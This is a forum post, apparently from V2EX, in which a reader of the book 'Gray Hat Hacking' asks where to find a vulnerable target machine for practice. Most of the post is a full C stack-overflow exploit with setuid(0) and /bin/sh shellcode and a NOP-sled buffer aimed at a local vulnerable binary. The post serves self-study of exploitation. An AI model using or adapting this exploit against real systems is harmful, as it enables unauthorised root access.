我在看一本叫 《灰帽子攻击手册的书》的时候看到的 下面代码是我从某个网站上复制来的,和书中的差不多 想问下有没有相应的靶机环境 我看到有人在 Centos5.5 上复现了,但是我失败了 球大佬指点 //exploit.c #include<stdio.h> char shellcode[]= //setuid(0) "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void){ asm("movl %esp,%eax"); } int main(int argc,char *argv[1]){ int i,offset=0; long esp,ret,*addr_ptr; char *buffer,*ptr; int size=500; esp=get_sp(); if(argc>1) size=atoi(argv[1]);//atoi 将字符串转换成整型数字 if(argc>2) offset=atoi(argv[2]); if(argc>3) esp=strtoul(argv[3],NULL,0);//将参数转换为无符号长整数型 ret=esp-offset; fprintf(stderr,"Usage:%s<buff_size><offset>esp:0xfff...\n",argv[0]); fprintf(stderr,"ESP:0x%x Offset:0x%x Return:0x%x\n",esp,offset,ret); buffer=(char *)malloc(size); ptr=buffer; addr_ptr=(long *)ptr; for(i=0;i<size;i+=4){ //把 buffer 都填充上 ret 地址 *(addr_ptr++)=ret; } for(i=0;i<size/2;i++){ //把 buffer 前半部都填上 NOP buffer[i]='\x90';} ptr=buffer+size/2; //从 buffer 中间开始填充 shellcode 代码 这几步实现 exploit 的攻击三明治 for(i=0;i<strlen(shellcode);i++){ *(ptr++)=shellcode[i]; } buffer[size-1]=0; //不要忘了 buffer 最后用 0 结尾,否则程序会找不到结尾的 //execl("./vuln","vuln",buffer,0); printf("%s",buffer); //一定要有,以用来被 shell 的 cat 捕获 free(buffer); return 0; }</offset>
这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。
V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。
V2EX is a community of developers, designers and creative people.